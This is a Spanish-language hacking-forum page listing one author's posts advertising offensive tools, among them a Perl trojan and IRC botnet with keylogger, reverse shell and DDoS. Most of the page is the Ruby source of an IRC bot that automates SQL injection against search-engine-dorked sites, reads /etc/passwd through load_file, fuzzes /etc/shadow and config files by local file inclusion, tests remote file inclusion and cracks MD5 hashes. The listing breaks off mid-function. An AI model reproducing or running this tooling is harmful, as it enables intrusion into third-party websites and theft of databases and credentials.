elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía actualizada para evitar que un ransomware ataque tu empresa


  Mostrar Temas
Páginas: 1 2 3 4 [5] 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ... 43
41  Programación / Scripting / [Python-Android] ParanoicScan 0.4 en: 6 Noviembre 2015, 21:08 pm
Version mejorada de este script para scannear con android que incorpora las siguientes funciones :

  • Scannea en bing buscando SQLI
  • Un completo scanner SQLI
  • Buscador de panel de administracion
  • Codificador de MD5
  • Codificador y Decodificador de Base64 y Hex
  • Localizador de IP y sus DNS
  • Crackeador de para hashes MD5
  • HTTP FingerPrinting

Unas imagenes :























Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.

Eso seria todo.
42  Programación / Scripting / [Perl] Project HellStorm 1.2 en: 24 Octubre 2015, 03:06 am
Hola hoy les traigo un troyano en Perl que funciona mediante sockets y como IRC Botnet , tiene las siguientes opciones :

[++] Opciones del troyano

  • Navegador de archivos : borrar,renombrar
  • Da informacion sobre la computadora
  • Abrir y cerrar CD
  • Ocultar y mostrar barra de inicio o iconos del escritorio
  • Hacer hablar a la computadora para que diga lo que queramos
  • Mandar mensajitos
  • Consola de comandos
  • Administracion de procesos
  • ReverseShell
  • Cambiar fondo de escritorio
  • Mover mouse
  • Cargar word para que escriba solo
  • DOS Attack : en el caso de IRC podran hacer un ataque DDOS si tienen varios infectados
  • Keylogger en segundo plano : sube logs y fotos tomadas a un servidor FTP

Una imagen :



Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.

Eso seria todo.
43  Programación / Scripting / [Perl] Project Arsenal X 0.2 en: 9 Octubre 2015, 22:14 pm
Hoy les traigo la nueva version de mi proyecto Arsenal X escrito en Perl , esta basando en el juego HackTheGame , tiene las siguientes opciones :

  • Gmail Inbox
  • Client Whois
  • Ping
  • Downloader
  • Get IP
  • Locate IP
  • K0bra SQLI Scanner
  • Crackear varios hashes MD5
  • Buscar panel de administracion
  • Port Scanner
  • Multi Cracker con soporte para FTP,TELNET,POP3
  • Ejecucion de comandos en la consola

Una imagen :



Un video con ejemplos de uso :



Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.

Eso seria todo.
44  Programación / Scripting / [Ruby] ClapTrap IRC Bot 0.5 en: 26 Septiembre 2015, 00:04 am
Traduccion a Ruby de mi bot para IRC llamado ClapTrap.

Tiene las siguiente opciones :

  • Scanner SQLI
  • Scanner LFI
  • Buscador de panel de administracion
  • Localizador de IP
  • Buscador de DNS
  • Buscador de SQLI y RFI en google
  • Crack para hashes MD5
  • Cortador de URL usando tinyurl
  • HTTP FingerPrinting
  • Codificador base64,hex y ASCII  

El codigo :

Código
  1. #!usr/bin/ruby
  2. #Claptrap IRC Bot 0.5
  3. #(C) Doddy Hackman 2015
  4.  
  5. require "socket"
  6. require "open-uri"
  7. require "net/http"  
  8. require "resolv"
  9. require "base64"
  10. require "digest/md5"
  11.  
  12. $timeout = "1"
  13.  
  14. # Functions
  15.  
  16. def head()
  17. print "\n\n
  18.  @@@@  @       @    @@@@@  @@@@@  @@@@@     @    @@@@@     @  @@@@@    @@@@
  19. @    @ @       @    @    @   @    @    @    @    @    @    @  @    @  @    @
  20. @      @      @ @   @    @   @    @    @   @ @   @    @    @  @    @  @    
  21. @      @      @ @   @    @   @    @    @   @ @   @    @    @  @    @  @    
  22. @      @     @   @  @@@@@    @    @@@@@   @   @  @@@@@     @  @@@@@   @    
  23. @      @     @   @  @        @    @    @  @   @  @         @  @    @  @    
  24. @      @     @@@@@  @        @    @    @  @@@@@  @         @  @    @  @    
  25. @    @ @    @     @ @        @    @    @ @     @ @         @  @    @  @    @
  26.  @@@@  @@@@@@     @ @        @    @    @ @     @ @         @  @    @   @@@@
  27.  \n\n"
  28. end
  29.  
  30. def copyright()
  31. print "\n\n-- == (C) Doddy Hackman 2015 == --\n\n"
  32. end
  33.  
  34. #
  35.  
  36. # Functions ClapTrap
  37.  
  38. def get_ip(hostname)
  39. begin
  40. return Resolv.getaddress(hostname)
  41. rescue
  42. return "Error"
  43. end
  44. end
  45.  
  46. def toma(web)
  47. begin
  48. return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
  49. rescue
  50. return "Error"
  51. end
  52. end
  53.  
  54. def response_code(web)
  55. begin
  56. return Net::HTTP.get_response(URI(web)) .code
  57. rescue
  58. return "404"
  59. end
  60. end
  61.  
  62. def tomar(web,arg)
  63. begin
  64. headers = {"User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"}
  65. uri = URI(web)
  66. http = Net::HTTP.new(uri.host, uri.port)
  67. return http.post(uri.path,arg, headers).body
  68. rescue
  69. return "Error"
  70. end
  71. end
  72.  
  73. def toma_ssl(web)
  74. uri = URI.parse(web)
  75. nave = Net::HTTP.new(uri.host, uri.port)
  76. nave.use_ssl = true
  77. nave.verify_mode = OpenSSL::SSL::VERIFY_NONE
  78. return nave.get(uri.request_uri,{"User-Agent"=> "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/20.0"}).body
  79. end
  80.  
  81. def cortar(pages)
  82. final = ""
  83. finales = []
  84. pages.flatten.each do |page|
  85. if page=~/(.*)=(.*)/
  86. parte1 = $1
  87. parte2 = $2
  88. final = parte1 + "="
  89. finales.push(final)
  90. end
  91. end
  92. return finales
  93. end
  94.  
  95.  
  96. def google(dork,pages)
  97.  
  98. links = []
  99. dork = dork.sub(/ /,"+")
  100. contador = 0
  101. for i in ("1"..pages)
  102. contador+=10
  103. code = toma_ssl("https://www.google.com.ar/search?hl=&q=" + dork+ "&start="+contador.to_s)
  104. paginas = code.scan(/(?<="r"><. href=")(.+?)"/)
  105. paginas.flatten.each do |pagina|
  106. partes = pagina
  107. if partes=~/url\?q=(.*)&amp;sa/
  108. parte = $1
  109. link = URI::decode(parte)
  110. links.push(link)
  111. end
  112. end
  113. end
  114. links = links.uniq
  115. return links
  116. end
  117.  
  118. def google_recursive(dork,pages)
  119. dork = dork.sub(/ /,"+")
  120. contador = 0
  121. guardo = []
  122. for i in ("1"..pages)
  123. contador+=10
  124. url = "https://www.google.com.ar/search?hl=&q="+dork+"&start="+contador.to_s
  125. code = toma_ssl(url)
  126. links = URI::extract(code)
  127. links.each do |link|
  128. if link=~/cache:(.*?):(.*?)\+/
  129. link_final = "http://"+$2
  130. link_final = URI::decode(link_final)
  131. guardo.push(link_final)
  132. end
  133. end
  134. end
  135. guardo = guardo.uniq
  136. return guardo
  137. end
  138.  
  139. def bing(dork,pages)
  140.  
  141. guardo = []
  142. dork = dork.sub(/ /,"+")
  143. contador = 0
  144. for i in ("1"..pages)
  145. contador+=10
  146.  
  147. code = toma("http://www.bing.com/search?q=" + dork + "&first=" + contador.to_s)
  148.  
  149. links = code.scan(/<h2><a href="(.*?)" h/)
  150.  
  151. links.flatten.each do |link|
  152. link_final = URI::decode(link)
  153. if not link_final=~/http:\/\/778802\.r\.msn\.com\//
  154. guardo.push(link_final)
  155. end
  156. end
  157.  
  158. links = code.scan(/<h3><a href="(.*?)" h/)
  159.  
  160. links.flatten.each do |link|
  161. link_final = URI::decode(link)
  162. if not link_final=~/http:\/\/778802\.r\.msn\.com\//
  163. guardo.push(link_final)
  164. end
  165. end
  166. end
  167. guardo = guardo.uniq
  168. return guardo
  169. end
  170.  
  171. def bypass(op)
  172.  if op=="--"
  173.    return "+","--"
  174.  elsif op=="/*"
  175.   return "/**/","/**/"
  176.  elsif op=="%20"
  177.   return "%20","%00"
  178.  else
  179.   return "+","--"    
  180.  end
  181. end
  182.  
  183. def decode_hex(text)
  184.  text = text.sub("0x","")
  185.  return [text].pack('H*')
  186. end
  187.  
  188. def encode_hex(text)
  189.  return "0x"+text.unpack('H*')[0]
  190. end
  191.  
  192. def httpfinger(page)
  193. respuesta = ""
  194. begin
  195. nave = Net::HTTP.start(page)
  196. headers = nave.head("/")
  197. headers.each do |name,value|
  198. respuesta = respuesta + "[+] "+name+" : "+value+"\n"
  199. end
  200. nave.finish
  201. rescue
  202. respuesta = "Error"
  203. end
  204. return respuesta
  205. end
  206.  
  207. ##
  208.  
  209. def locateip(target)
  210.  
  211. resultado = ""
  212.  
  213. resultado = resultado + "\n[+] Getting IP ...\n"
  214.  
  215. ip = get_ip(target)
  216.  
  217. resultado = resultado + "\n[+] IP : "+ip+"\n"
  218.  
  219. web = "http://www.melissadata.com/lookups/iplocation.asp"
  220. resultado = resultado + "\n[+] Locating ...\n\n"
  221.  
  222. code = tomar(web,"ipaddress="+ip+"&btn=Submit")
  223.  
  224. if code=~/City<\/td><td align=(.*)><b>(.*)<\/b><\/td>/
  225. resultado = resultado + "[+] City : "+$2+"\n"
  226. else
  227. resultado = resultado + "[+] City : Not Found\n"
  228. end
  229.  
  230. if code=~/Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>/
  231. resultado = resultado + "[+] Country : "+$2+"\n"
  232. else
  233. resultado = resultado + "[+] Country : Not Found\n"
  234. end
  235.  
  236. if code=~/State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>/
  237. resultado = resultado + "[+] State or Region : "+$2+"\n";
  238. else
  239. resultado = resultado + "[+] State of Region : Not Found\n"
  240. end
  241.  
  242. resultado = resultado + "\n[+] Getting DNS ...\n\n"
  243.  
  244. control = "0"
  245.  
  246. code = toma("http://www.ip-adress.com/reverse_ip/"+ip)
  247.  
  248. dnss = code.scan(/whois\/(.*?)\">Whois/)
  249.  
  250. dnss.flatten.each do |dns|
  251. begin
  252. if dns != ""
  253. control = "1"
  254. resultado = resultado + "[+] DNS Found : "+dns
  255. end
  256. end
  257. end
  258.  
  259. if control=="0"
  260. resultado = resultado + "\n[-] DNS Not Found\n"
  261. end
  262. return resultado
  263. end
  264.  
  265. def details(url,by)
  266.  pass1,pass2 = bypass(by)
  267.  resultado = ""
  268.  hextest = "0x2f6574632f706173737764" #/etc/passwd
  269.  hextest = "0x633A2F78616D70702F726561642E747874" #c:/xampp/read.txt
  270.  web1 = url.sub(/hackman/,"0x4b30425241")
  271.  web2 = url.sub(/hackman/,"concat(0x4b30425241,user(),0x4b30425241,database(),0x4b30425241,version(),0x4b30425241)")
  272.  web3 = url.sub(/hackman/,"unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file("+hextest+"))))")
  273.   resultado = resultado + "\n[+] Extracting information of the DB\n"
  274.  code1 = toma(web2)
  275.  if code1=~/K0BRA(.*)K0BRA(.*)K0BRA(.*)K0BRA/
  276.    user,data,ver = $1,$2,$3
  277.    resultado = resultado + "\n[+] Username : "+user
  278.    resultado = resultado + "\n[+] Database : "+data
  279.    resultado = resultado + "\n[+] Version : "+ver+"\n\n"
  280.  else
  281.    resultado = resultado + "[-] Not Found\n"
  282.  end
  283.   code2 = toma(web1+pass1+"from"+pass1+"mysql.user"+pass2)
  284.   code3 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass2)
  285.   code4 = toma(web3)
  286.   if code2=~/K0BRA/
  287.     resultado = resultado + "[+] Mysql User : ON\n"
  288.   end
  289.   if code3=~/K0BRA/
  290.     resultado = resultado + "[+] information_schema : ON\n"
  291.   end
  292.   if code4=~/ERTOR854/
  293.     resultado = resultado + "[+] load_file : ON\n"
  294.   end  
  295.   return resultado
  296. end
  297.  
  298. def findlength(url,by)
  299.  pass1,pass2 = bypass(by)
  300.  z = "1"
  301.  control = "0"
  302.  resultado = ""
  303.  resultado = resultado + "\n[+] Finding columns lenght ...\n\n"
  304.  x = "concat(0x4b30425241,1,0x4b30425241)"
  305.  for num in ('2'..'25')
  306.    z = z+","+num
  307.    x= x+","+"concat(0x4b30425241,"+num+",0x4b30425241)"
  308.    code = toma(url+"1"+pass1+"and"+pass1+"1=0"+pass1+"union"+pass1+"select"+pass1+x)
  309.    if code=~/K0BRA(.*?)K0BRA/
  310.      resultado = resultado + "[+] The Page has "+num+" columns\n"
  311.      resultado = resultado + "[+] The number "+$1+" print data\n"
  312.      z = z.sub($1,"hackman")
  313.      sqli = url+"1"+pass1+"and"+pass1+"1=0"+pass1+"union"+pass1+"select"+pass1+z
  314.      control = "1"
  315.      break
  316.    end
  317.  end
  318.  if control != "1"
  319.    resultado = resultado + "[-] Columns lenght not found\n"
  320.  end
  321.  return resultado,sqli,control
  322. end
  323.  
  324. def scanner_sqli(page,by)
  325.  pass1,pass2 = bypass(by)
  326.  resultado = ""
  327.  rta1 = ""
  328.  rta2 = ""
  329.  resultado =  resultado + "[+] Testing vulnerability ...\n\n"
  330.  codeuno = toma(page+"1"+pass1+"and"+pass1+"1=0"+pass2)
  331.  codedos = toma(page+"1"+pass1+"and"+pass1+"1=1"+pass2)
  332.  if codeuno != codedos
  333.    resultado = resultado + "[+] Vulnerable !\n"
  334.    rta1,sqli,control = findlength(page,by)
  335.    if control=="1"
  336.     rta2 = details(sqli,"--")
  337.    end
  338.  else
  339.    resultado = resultado + "[-] Not Vulnerable\n"
  340.  end
  341.  resultado = resultado + rta1 + rta2
  342.  return resultado
  343. end
  344.  
  345. def scanner_lfi(web)
  346. resultado = ""
  347. files = ['c:/xampp/here.php','../../../boot.ini','../../../../boot.ini','../../../../../boot.ini','../../../../../../boot.ini','/etc/passwd','/etc/shadow','/etc/shadow~','/etc/hosts','/etc/motd','/etc/apache/apache.conf','/etc/fstab','/etc/apache2/apache2.conf','/etc/apache/httpd.conf','/etc/httpd/conf/httpd.conf','/etc/apache2/httpd.conf','/etc/apache2/sites-available/default','/etc/mysql/my.cnf','/etc/my.cnf','/etc/sysconfig/network-scripts/ifcfg-eth0','/etc/redhat-release','/etc/httpd/conf.d/php.conf','/etc/pam.d/proftpd','/etc/phpmyadmin/config.inc.php','/var/www/config.php','/etc/httpd/logs/error_log','/etc/httpd/logs/error.log','/etc/httpd/logs/access_log','/etc/httpd/logs/access.log','/var/log/apache/error_log','/var/log/apache/error.log','/var/log/apache/access_log','/var/log/apache/access.log','/var/log/apache2/error_log','/var/log/apache2/error.log','/var/log/apache2/access_log','/var/log/apache2/access.log','/var/www/logs/error_log','/var/www/logs/error.log','/var/www/logs/access_log','/var/www/logs/access.log','/usr/local/apache/logs/error_log','/usr/local/apache/logs/error.log','/usr/local/apache/logs/access_log','/usr/local/apache/logs/access.log','/var/log/error_log','/var/log/error.log','/var/log/access_log','/var/log/access.log','/etc/group','/etc/security/group','/etc/security/passwd','/etc/security/user','/etc/security/environ','/etc/security/limits','/usr/lib/security/mkuser.default','/apache/logs/access.log','/apache/logs/error.log','/etc/httpd/logs/acces_log','/etc/httpd/logs/acces.log','/var/log/httpd/access_log','/var/log/httpd/error_log','/apache2/logs/error.log','/apache2/logs/access.log','/logs/error.log','/logs/access.log','/usr/local/apache2/logs/access_log','/usr/local/apache2/logs/access.log','/usr/local/apache2/logs/error_log','/usr/local/apache2/logs/error.log','/var/log/httpd/access.log','/var/log/httpd/error.log','/opt/lampp/logs/access_log','/opt/lampp/logs/error_log','/opt/xampp/logs/access_log','/opt/xampp/logs/error_log','/opt/lampp/logs/access.log','/opt/lampp/logs/error.log','/opt/xampp/logs/access.log','/opt/xampp/logs/error.log','C:\ProgramFiles\ApacheGroup\Apache\logs\access.log','C:\ProgramFiles\ApacheGroup\Apache\logs\error.log','/usr/local/apache/conf/httpd.conf','/usr/local/apache2/conf/httpd.conf','/etc/apache/conf/httpd.conf','/usr/local/etc/apache/conf/httpd.conf','/usr/local/apache/httpd.conf','/usr/local/apache2/httpd.conf','/usr/local/httpd/conf/httpd.conf','/usr/local/etc/apache2/conf/httpd.conf','/usr/local/etc/httpd/conf/httpd.conf','/usr/apache2/conf/httpd.conf','/usr/apache/conf/httpd.conf','/usr/local/apps/apache2/conf/httpd.conf','/usr/local/apps/apache/conf/httpd.conf','/etc/apache2/conf/httpd.conf','/etc/http/conf/httpd.conf','/etc/httpd/httpd.conf','/etc/http/httpd.conf','/etc/httpd.conf','/opt/apache/conf/httpd.conf','/opt/apache2/conf/httpd.conf','/var/www/conf/httpd.conf','/private/etc/httpd/httpd.conf','/private/etc/httpd/httpd.conf.default','/Volumes/webBackup/opt/apache2/conf/httpd.conf','/Volumes/webBackup/private/etc/httpd/httpd.conf','/Volumes/webBackup/private/etc']
  348. resultado = resultado + "[+] Testing the vulnerability LFI...\n\n"
  349. code = toma(web+"'")
  350. if code=~/No such file or directory in <b>(.*)<\/b> on line/
  351. fpd = $1
  352. resultado = resultado + "[+] LFI Detected\n\n"
  353. resultado = resultado + "[Full Path Discloure]: "+fpd+"\n"
  354. resultado = resultado + "\n[+] Fuzzing Files\n\n"
  355. files.each do |file|
  356. code = toma(web+file)
  357. if not code=~/No such file or directory in/
  358. resultado= resultado + "[Link] : "+web+file+"\n"
  359. end
  360. end
  361. resultado = resultado + "\n[+] Done\n"
  362. else
  363. resultado = resultado + "[-] Not Vulnerable to LFI\n\n"
  364. end
  365. return resultado
  366. end
  367.  
  368. def scanner_panel(page)
  369. resultado = ""
  370. panels = ['admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx','admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx','asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx','asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx','admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx','login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx','administracion/index.asp','administracion/index.aspx','administracion/login.asp','administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx','administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php','admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php','admin/administrador.php','admin/default.php','administracion/','administracion/index.php','administracion/login.php','administracion/ingresar.php','administracion/admin.php','administration/','administration/index.php','administration/login.php','administrator/index.php','administrator/login.php','administrator/system.php','system/','system/login.php','admin.php','login.php','administrador.php','administration.php','administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php','yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html','admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html','admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','administrator/','administrator/index.html','administrator/login.html','administrator/account.html','administrator/account.php','administrator.html','login.html','modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html','admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp','admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp','admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp','administrator/login.asp','administrator/account.asp','administrator.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp','account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/','fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php','sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html','Server.asp','Server/','wp-admin/','administr8.php','administr8.html','administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp','webadmin.html','administratie/','admins/','admins.php','admins.asp','admins.html','administrivia/','Database_Administration/','WebAdmin/','useradmin/','sysadmins/','admin1/','system-administration/','administrators/','pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/','administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/','cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/','project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/','wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/','Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/','irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/','administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/','Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/','cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/','server/','database_administration/','power_user/','system_administration/','ss_vms_admin_sm/']
  371. resultado = resultado + "[+] Scanning ...\n\n"
  372. control = "0"
  373. panels.each do |panel|
  374. begin
  375. url = page+"/"+panel
  376. status_code = response_code(url)
  377. if status_code=="200"
  378. resultado = resultado + "[+] Link : "+url+"\n"
  379. control = "1"
  380. end
  381. end
  382. end
  383. if control=="1"
  384. resultado = resultado + "\n[+] Done\n"
  385. else
  386. resultado = resultado + "\n[-] Not Found\n"
  387. end
  388. return resultado
  389. end
  390.  
  391. def get_httpfinger(page)
  392. resultado = ""
  393.        resultado = resultado + "[+] Searching ...\n\n"
  394. resultado = resultado + httpfinger(page)
  395. return resultado
  396. end
  397.  
  398. def crack_md5(md5)
  399. resultado = ""
  400. resultado = resultado + "[+] Cracking ...\n\n"
  401.  
  402. code = tomar("http://md5online.net/index.php","pass="+md5+"&option=hash2text&send=Submit")
  403.  
  404. if code=~/pass : <b>(.*?)<\/b>/
  405. password = $1
  406. resultado = resultado + "[+] md5online.net -> "+password+"\n"
  407. else
  408. resultado = resultado + "[-] md5online.net -> Not Found" + "\n"
  409. end
  410.  
  411. code = tomar("http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php","md5="+md5)
  412.  
  413. if code=~/<span class='middle_title'>Hashed string<\/span>: (.*?)<\/div>/
  414. password = $1
  415. resultado = resultado + "[+] md5.my-addr.co -> "+password+"\n"
  416. else
  417. resultado = resultado + "[-] md5.my-addr.co -> Not Found" +"\n"
  418. end
  419.  
  420. code = tomar("http://md5decryption.com/index.php","hash="+md5+"&submit=Decrypt It!")
  421.  
  422. if code=~/Decrypted Text: <\/b>(.*?)<\/font>/
  423. password = $1
  424. resultado = resultado + "[+] md5decryption.com -> "+password+"\n"
  425. else
  426. resultado = resultado +  "[-] md5decryption.com -> Not Found"+"\n"
  427. end
  428.  
  429. return resultado
  430.  
  431. end
  432.  
  433. def tiny_url(page)
  434. resultado = ""
  435. code = toma("http://tinyurl.com/api-create.php?url="+page)
  436. if code=~/http/
  437. resultado = resultado + "[+] Link : "+code
  438. else
  439. resultado = resultado + "[-] Error"
  440. end
  441. return resultado
  442. end
  443.  
  444. def codificar_hex(text)
  445. return "[+] Result : "+encode_hex(text)
  446. end
  447.  
  448. def decodificar_hex(text)
  449. return "[+] Result : "+decode_hex(text)
  450. end
  451.  
  452. def codificar_base64(text)
  453. return "[+] Result : "+Base64.encode64(text).chomp
  454. end
  455.  
  456. def decodificar_base64(text)
  457. return "[+] Result : "+Base64.decode64(text).chomp
  458. end
  459.  
  460. def codificar_ascii(text)
  461. resultado = ""
  462. resultado = resultado + "[+] Result : "+text.split("").map(&:ord).to_s
  463. return resultado
  464. end
  465.  
  466. def md5_encode(text)
  467. return "[+] Result : "+Digest::MD5.hexdigest(text).chomp
  468. end
  469.  
  470.  
  471. def scanner_dns(domain)
  472.  paths = ["www","www1","www2","www3","ftp","ns","mail","3com","aix","apache","back","bind","boreder","bsd","business","chains","cisco","content","corporate","cpv","dns","domino","dominoserver","download","e-mail","e-safe","email","esafe","external","extranet","firebox","firewall","front","fw","fw0","fwe","fw-1","firew","gate","gatekeeper","gateway","gauntlet","group","help","hop","hp","hpjet","hpux","http","https","hub","ibm","ids","info","inside","internal","internet","intranet","ipfw","irix","jet","list","lotus","lotusdomino","lotusnotes","lotusserver","mailfeed","mailgate","mailgateway","mailgroup","mailhost","maillist","mailpop","mailrelay","mimesweeper","ms","msproxy","mx","nameserver","news","newsdesk","newsfeed","newsgroup","newsroom","newsserver","nntp","notes","noteserver","notesserver","nt","outside","pix","pop","pop3","pophost","popmail","popserver","print","printer","private","proxy","proxyserver","public","qpop","raptor","read","redcreek","redhat","route","router","scanner","screen","screening","ecure","seek","smail","smap","smtp","smtpgateway","smtpgw","solaris","sonic","spool","squid","sun","sunos","suse","switch","transfer","trend","trendmicro","vlan","vpn","wall","web","webmail","webserver","webswitch","win2000","win2k","upload","file","fileserver","storage","backup","share","core","gw","wingate","main","noc","home","radius","security","access","dmz","domain","sql","mysql","mssql","postgres","db","database","imail","imap","exchange","sendmail","louts","test","logs","stage","staging","dev","devel","ppp","chat","irc","eng","admin","unix","linux","windows","apple","hp-ux","bigip","pc"]
  473.  resultado = ""
  474.  resultado = resultado + "[+] Searching DNS ...\n\n"
  475.  control = "0"
  476.  paths.each do |path|
  477. begin
  478. url = "http://"+path+"."+domain
  479.  
  480. status_code = response_code(url)
  481. if status_code=="200"
  482. resultado = resultado + "[+] Link : "+url+"\n"
  483. control = "1"
  484. end
  485. end
  486.  end
  487.  
  488.  if control=="1"
  489. resultado = resultado + "\n[+] Done\n"
  490.  else
  491. resultado = resultado + "\n[-] Not Found\n"
  492.  end
  493.  
  494.  return resultado
  495.  
  496. end
  497.  
  498. def sqli_finder(dork,pages,opcion)
  499.  
  500. resultado = ""
  501.  
  502. if opcion=="bing"
  503.  
  504. resultado = resultado + "[+] Searching in Bing ...\n\n"
  505.  
  506. links = cortar(bing(dork,pages))
  507.  
  508. resultado = resultado + "[+] Pages Count : "+links.count.to_s+"\n\n"
  509.  
  510. if links.count.to_s=="0"
  511. resultado = resultado + "[-] Links not found\n"
  512. end
  513.  
  514. links.flatten.each do |link|
  515. resultado = resultado + "[+] Link : "+link
  516. begin
  517. url = toma(link + "-1+union+select+1--")
  518. if url=~/The used SELECT statements have a different number of columns/
  519. resultado = resultado + " [OK]\n"
  520. else
  521. resultado = resultado + " [FAIL]\n"
  522. end
  523. rescue
  524. resultado = resultado + " [FAIL]\n"
  525. end
  526. end
  527.  
  528. resultado = resultado + "\n[+] Finished\n"
  529.  
  530. elsif opcion=="google"
  531.  
  532. resultado = resultado + "[+] Searching in Google ...\n\n"
  533.  
  534. links = cortar(google(dork,pages))
  535.  
  536. if links.count.to_s=="0"
  537. resultado = resultado + "[+] Searching in Google again ...\n\n"
  538. links = cortar(google_recursive(dork,pages))
  539. end
  540.  
  541. resultado = resultado + "[+] Pages Count : "+links.count.to_s+"\n\n"
  542.  
  543. if links.count.to_s=="0"
  544. resultado = resultado + "[-] Links not found"
  545. end
  546.  
  547. links.flatten.each do |link|
  548. resultado = resultado + "[+] Link : "+link
  549. begin
  550. url = toma(link + "-1+union+select+1--")
  551. if url=~/The used SELECT statements have a different number of columns/
  552. resultado = resultado + " [OK]\n"
  553. else
  554. resultado = resultado + " [FAIL]\n"
  555. end
  556. rescue
  557. resultado = resultado + " [FAIL]\n"
  558. end
  559. end
  560. else
  561. resultado = "[-] Bad Option"
  562. end
  563. return resultado
  564. end
  565.  
  566. def rfi_finder(dork,pages,opcion)
  567.  
  568. resultado = ""
  569.  
  570. if opcion=="bing"
  571.  
  572. resultado = resultado + "[+] Searching in Bing ...\n\n"
  573.  
  574. links = cortar(bing(dork,pages))
  575.  
  576. resultado = resultado + "[+] Pages Count : "+links.count.to_s+"\n\n"
  577.  
  578. if links.count.to_s=="0"
  579. resultado = resultado + "[-] Links not found\n"
  580. end
  581.  
  582. links.flatten.each do |link|
  583. resultado = resultado + "[+] Link : "+link
  584. begin
  585. url = toma(link + "http://www.supertangas.com/")
  586. if url=~/Los mejores TANGAS de la red/i
  587. resultado = resultado + " [OK]\n"
  588. else
  589. resultado = resultado + " [FAIL]\n"
  590. end
  591. rescue
  592. resultado = resultado + " [FAIL]\n"
  593. end
  594. end
  595.  
  596. resultado = resultado + "\n[+] Finished\n"
  597.  
  598. elsif opcion=="google"
  599.  
  600. resultado = resultado + "[+] Searching in Google ...\n\n"
  601.  
  602. links = cortar(google(dork,pages))
  603.  
  604. if links.count.to_s=="0"
  605. resultado = resultado + "[+] Searching in Google again ...\n\n"
  606. links = cortar(google_recursive(dork,pages))
  607. end
  608.  
  609. resultado = resultado + "[+] Pages Count : "+links.count.to_s+"\n\n"
  610.  
  611. if links.count.to_s=="0"
  612. resultado = resultado + "[-] Links not found"
  613. end
  614.  
  615. links.flatten.each do |link|
  616. resultado = resultado + "[+] Link : "+link
  617. begin
  618. url = toma(link + "http://www.supertangas.com/")
  619. if url=~/Los mejores TANGAS de la red/i
  620. resultado = resultado + " [OK]\n"
  621. else
  622. resultado = resultado + " [FAIL]\n"
  623. end
  624. rescue
  625. resultado = resultado + " [FAIL]\n"
  626. end
  627. end
  628. else
  629. resultado = "[-] Bad Option"
  630. end
  631. return resultado
  632. end
  633.  
  634. #
  635.  
  636. def respuesta(to,texto)
  637. resultado = texto.split("\n")
  638. resultado.flatten.each do |linea|
  639. if linea != ""
  640. $irc.print "PRIVMSG #{to} #{linea}\n"
  641. sleep $timeout.to_i
  642. end
  643. end
  644. end
  645.  
  646. def bot_online(host,port,canal,admin)
  647.  print "\n[+] Connecting ...\n"
  648.  begin
  649.    $irc = TCPSocket.open(host,port)
  650.  rescue
  651.    print "\n[-] Error connecting\n"
  652.  else
  653.    nick = "ClapTrap"
  654.    $irc.print "NICK "+nick+"\r\n"
  655.    $irc.print "USER "+nick+" 1 1 1 1\r\n"
